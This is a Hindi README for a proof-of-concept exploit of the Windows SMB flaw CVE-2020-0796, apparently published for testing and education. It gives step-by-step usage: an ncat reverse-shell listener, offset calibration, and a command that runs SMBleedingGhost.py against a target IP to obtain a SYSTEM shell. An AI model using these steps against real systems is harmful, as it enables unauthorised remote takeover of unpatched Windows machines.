
CVE-2020-0796 के लिए रिमोट कोड निष्पादन POC
सुनिश्चित करें कि Python और ncat स्थापित हैं।
लक्ष्य कंप्यूटर पर calc_target_offsets.bat चलाएँ, और SMBleedingGhost.py फ़ाइल के शीर्ष पर ऑफ़सेट को स्क्रिप्ट आउटपुट के अनुसार समायोजित करें (नीचे दिए गए नोट को भी देखें)।
निम्नलिखित कमांड लाइन तर्कों के साथ ncat चलाएँ:
ncat -lvp <port>
जहाँ <port> वह पोर्ट नंबर है जिस पर ncat सुन रहा होगा।
निम्नलिखित कमांड लाइन तर्कों के साथ SMBleedingGhost.py चलाएँ:
SMBleedingGhost.py <target_ip> <reverse_shell_ip> <reverse_shell_port>
जहाँ <target_ip> लक्ष्य, असुरक्षित कंप्यूटर का IP पता है। <reverse_shell_ip> और वे IP पता और पोर्ट नंबर हैं जिन पर सुन रहा है।
<reverse_shell_port>यदि सब कुछ ठीक रहा, तो ncat एक शेल प्रदर्शित करेगा जो लक्ष्य कंप्यूटर तक सिस्टम पहुँच प्रदान करता है।
नोट: आप सोच रहे होंगे कि लक्ष्य कंप्यूटर पर calc_target_offsets.bat स्क्रिप्ट चलाना क्यों आवश्यक है, और क्या यह रिमोट कोड एक्जीक्यूशन के रिमोट होने के पूरे उद्देश्य को विफल नहीं करता है। ये ऑफ़सेट यादृच्छिक नहीं हैं, और समान Windows संस्करण के सभी Windows इंस्टेंस पर समान होते हैं। कोई लक्ष्य Windows संस्करण का पता लगाकर और ऑफ़सेट को स्वचालित रूप से समायोजित करके, या उन पर बिल्कुल भी निर्भर न रहकर हमले को अधिक सार्वभौमिक बना सकता है, लेकिन यह केवल एक POC है और हमने वही किया जो सरल था। हम इसे एक अच्छी बात भी मानते हैं कि POC सार्वभौमिक नहीं है, और परीक्षण और शिक्षा के अलावा अन्य उपयोगों के लिए सुविधाजनक नहीं है।

Windows 10 संस्करण 1903 और 1909 प्रभावित हैं। KB4512941 में फिक्स किए गए Windows में null dereference बग के कारण बिना पैच वाले Windows 10 1903 संस्करण समर्थित नहीं हैं।
शोषण की प्रकृति के कारण, POC एकल लॉजिकल प्रोसेसर वाले कंप्यूटर (या VM) पर चलने वाले लक्ष्यों के लिए सबसे अच्छा काम करता है। VirtualBox में चलने वाले एक से अधिक लॉजिकल प्रोसेसर वाले लक्ष्य भी समर्थित होने चाहिए, लेकिन इस मामले में POC कम विश्वसनीय है। अन्य लक्ष्य समर्थित नहीं हो सकते हैं। विवरण के लिए, नीचे हमारी तकनीकी लेख देखें।